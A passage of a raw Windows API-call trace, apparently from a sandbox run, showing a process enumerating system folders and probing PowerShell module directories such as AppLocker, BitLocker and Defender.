lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c3023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eab5f8c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmbWitness", cAlternateFileName="SMBWIT~1")) returned 1 [0145.235] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c3b3e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eab5f8c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StartLayout", cAlternateFileName="STARTL~1")) returned 1 [0145.235] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c4795, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eadc202, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Storage", cAlternateFileName="")) returned 1 [0145.235] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TLS", cAlternateFileName="")) returned 1 [0145.235] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c6b67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8c1e1cae, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0145.235] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrustedPlatformModule", cAlternateFileName="TRUSTE~1")) returned 1 [0145.235] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfc9ca45b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86cfe48, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UEV", cAlternateFileName="")) returned 1 [0145.236] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VpnClient", cAlternateFileName="VPNCLI~1")) returned 1 [0145.236] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca67fa6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wdac", cAlternateFileName="")) returned 1 [0145.236] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca68f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsDeveloperLicense", cAlternateFileName="WINDOW~1")) returned 1 [0145.236] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca69a5d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsErrorReporting", cAlternateFileName="WINDOW~2")) returned 1 [0145.236] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsSearch", cAlternateFileName="WINDOW~3")) returned 1 [0145.237] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca6b8d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb286c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsUpdate", cAlternateFileName="WINDOW~4")) returned 1 [0145.237] FindNextFileW (in: hFindFile=0x1cbf2982850, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0145.237] FindClose (in: hFindFile=0x1cbf2982850 | out: hFindFile=0x1cbf2982850) returned 1 [0145.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e160) returned 1 [0145.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e120) returned 1 [0145.237] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0145.237] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0145.238] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0145.238] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0145.238] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff [0145.238] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0145.238] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppBackgroundTask", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0145.238] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppBackgroundTask", nBufferLength=0x45, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppBackgroundTask", lpFilePart=0x0) returned 0x44 [0145.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.292] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppBackgroundTask" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appbackgroundtask"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbe3ca03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0145.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.293] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0145.293] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", nBufferLength=0x3d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", lpFilePart=0x0) returned 0x3c [0145.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.293] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\applocker"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfbe3d0e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86a9bef, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.294] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0145.294] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient", nBufferLength=0x3e, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient", lpFilePart=0x0) returned 0x3d [0145.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.294] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appvclient"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0145.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.294] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0145.294] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", nBufferLength=0x38, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", lpFilePart=0x0) returned 0x37 [0145.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.294] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appx"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.295] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AssignedAccess", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0145.295] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AssignedAccess", nBufferLength=0x42, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AssignedAccess", lpFilePart=0x0) returned 0x41 [0145.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.295] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AssignedAccess" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\assignedaccess"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.295] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitLocker", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0145.295] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitLocker", nBufferLength=0x3d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitLocker", lpFilePart=0x0) returned 0x3c [0145.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.296] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitLocker" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\bitlocker"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0145.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.296] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0145.296] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0145.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.296] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff18fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.297] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0145.297] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", nBufferLength=0x3f, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache", lpFilePart=0x0) returned 0x3e [0145.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.297] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\branchcache"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfbff1c72, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86cfe48, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.297] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0145.297] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0145.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.297] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff21c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.298] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.298] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ConfigCI", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0145.298] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ConfigCI", nBufferLength=0x3c, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ConfigCI", lpFilePart=0x0) returned 0x3b [0145.298] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.298] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ConfigCI" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\configci"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.298] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.298] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Defender", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0145.298] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Defender", nBufferLength=0x3c, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Defender", lpFilePart=0x0) returned 0x3b [0145.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.299] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Defender" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\defender"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff380e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0145.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.299] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DeliveryOptimization", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0145.299] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DeliveryOptimization", nBufferLength=0x48, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DeliveryOptimization", lpFilePart=0x0) returned 0x47 [0145.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0145.299] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DeliveryOptimization" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\deliveryoptimization"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbff3c0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e82d6c7, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0145.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0145.299] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0145.299] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents", nBufferLength=0x50, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: 